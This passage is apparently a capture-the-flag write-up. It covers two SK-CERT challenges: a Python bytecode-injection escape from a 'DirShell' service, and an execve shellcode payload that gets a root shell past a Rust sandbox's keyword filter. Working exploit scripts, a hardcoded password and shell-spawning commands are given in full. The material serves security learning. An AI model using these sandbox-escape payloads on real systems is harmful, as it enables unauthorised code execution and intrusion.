OOB = b''.join([bytes([x]) for x in [     *([opmap['EXTENDED_ARG'], x // 256] if x // 256 != 0 else []),     opmap['LOAD_FAST'], x % 256, ]])`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import dis
from opcode import opmap
from pwn import *

def rec_cd(path):
    for x in path.split("/"):
        r.sendlineafter(b"> ", f"cd {x}")

def assemble(ops):
    ret = b""
    for op, arg in ops:
        opc = dis.opmap[op]
        ret += bytes([opc, arg])
    return ret

ROOT_PASSWORD = "__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^"


x = 202

while True:
    try:
        print(f"Trying {x}")
        # r = process(["python3", "dirshell.py"])
        r = remote("exp.cybergame.sk", 7001)

        # rec_cd("/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__")
        r.sendlineafter(b"> ", "su")
        r.sendlineafter(b"> ", ROOT_PASSWORD)

        rec_cd("/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/touch/__code__")

        # x = 265
        OOB = b''.join([bytes([x]) for x in [
            *([opmap['EXTENDED_ARG'], x // 256]
            if x // 256 != 0 else []),
            opmap['LOAD_FAST'], x % 256,
        ]])

        co_code = OOB + assemble([
            ("LOAD_FAST",     2),
            ("BINARY_SUBSCR",  0),
            ("LOAD_FAST",     1),
        ]) + OOB + assemble([
            ("CALL_FUNCTION",  2),
            ("RETURN_VALUE",   0),
        ])
        # print(co_code)
        

        # 265 EXEC
        

        r.sendlineafter(b"> ", "rewrite co_code")
        r.sendlineafter(b"> ", co_code.hex())
        rec_cd("/.."*17)

        r.sendlineafter(b"> ", b"""touch exec(input('READYREADYREADY\\n'))""")
        r.sendline(b"exec")

        r.recvuntil(b"file contents: ")
        da = r.recvline(timeout=0.5).strip()
        print(da)
        
        if da == b"READYREADYREADY":
            print("GO FLAG GOGHGOGHGOGHGO", x)
            r.sendline(b"import pty;pty.spawn('/bin/sh')")
            r.interactive()

    except Exception as e:
        print(e)
        pass
    r.close()

I assembled the final bytecode using Python’s built-in dis.opmap, creating valid instructions for Python 3.9 β€” which was crucial, since the remote system used that specific version.

Once the injected function was in place, I navigated back to root and triggered it by running:

1
touch exec(input('READYREADYREADY\n'))

If the injection worked, the output was simply: READYREADYREADY

This was my signal that exec() had been successfully injected. From there, I just launched a PTY shell:

1
import pty; pty.spawn('/bin/sh')`

And that was game over. 🏁

1
SK-CERT{\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0066\u0075\u006E}

Blazing-fast, memory-safe interpreter

Description

I made a Rust code interpreter where you can run your rust code. I made it very safe so you don’t hack me.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import subprocess

HEADER = """
#![no_std]
#![no_main]
use core::panic::PanicInfo;
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
    loop {}
}
#[unsafe(no_mangle)]
pub extern "C" fn _start() -> () {
"""

FOOTER = """
}
"""

def checker(code):
    if code.count("!") > 1:
        return 0
    if "libc" in code:
        return 0
    if "std" in code:
        return 0
    if "flag" in code:
        return 0
    if "syscall" in code:
        return 0
    if "include" in code:
        return 0
    return 1

code = input("Give me code> ")
if not checker(code):
    print("Go away you hacker")
    exit()
with open("./src/main.rs", "w") as f:
    f.write(HEADER)           
    f.write(code)
    f.write(FOOTER)           

print("Building - this may take a while...",end="")
out = subprocess.run(
    ["cargo", "build", "--target", "x86_64-unknown-none"],
    capture_output=True,
    text=True  
)
if out.returncode:
    print("failed - exit")
    exit()
print("done")
print("Running...")
subprocess.run(["cargo", "run", "--target", "x86_64-unknown-none"])

Solution

This challenge gave us a sandboxed Rust runtime with a constrained custom main.rs environment.

After researching Rust’s inline assembly and raw x86-64 opcodes, I discovered that we could manually emit syscall using the raw instruction bytes:

1
.byte 0x0F, 0x05  ; syscall

Combined with core::arch::asm, we could construct the entire RCE payload manually without relying on filtered terms.

Here’s the payload that spawns /bin/sh via syscall 59 (execve):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
use core::arch::asm;
unsafe {
    asm!(
        "xor rsi, rsi",                        // NULL argv
        "push rsi",
        "mov rbx, 0x68732f2f6e69622f",         // //bin/sh
        "push rbx",
        "mov rdi, rsp",                        // pointer to "/bin//sh"
        "xor rdx, rdx",                        // NULL envp
        "mov rax, 59",                         // syscall: execve
        ".byte 0x0F, 0x05",                    // syscall
        options(noreturn)
    );
}

The build system only accepted single-line input, and multi-line asm! blocks were error-prone when passed via input().

So I collapsed the code into a single line:

1
use core::arch::asm;unsafe{asm!("xor rsi,rsi;push rsi;mov rbx,0x68732f2f6e69622f;push rbx;mov rdi,rsp;xor rdx,rdx;mov rax,59;.byte 0x0F,0x05",options(noreturn));}

This successfully compiled under cargo build --target x86_64-unknown-none, bypassed the checks, and gave me a shell from _start()!

1
2
3
4
5
6
7
8
 nc exp.cybergame.sk 7010
Give me code> use core::arch::asm;unsafe{asm!("xor rsi,rsi;push rsi;mov rbx,0x68732f2f6e69622f;push rbx;mov rdi,rsp;xor rdx,rdx;mov rax,59;.byte 0x0F,0x05",options(noreturn));} 
Building - this may take a while...done
Running...
id     
uid=0(root) gid=0(root) groups=0(root)
cat flag.txt
SK-CERT{v3ry_600d_p3rf0rm4nc3}
This post is licensed under CC BY 4.0 by the author.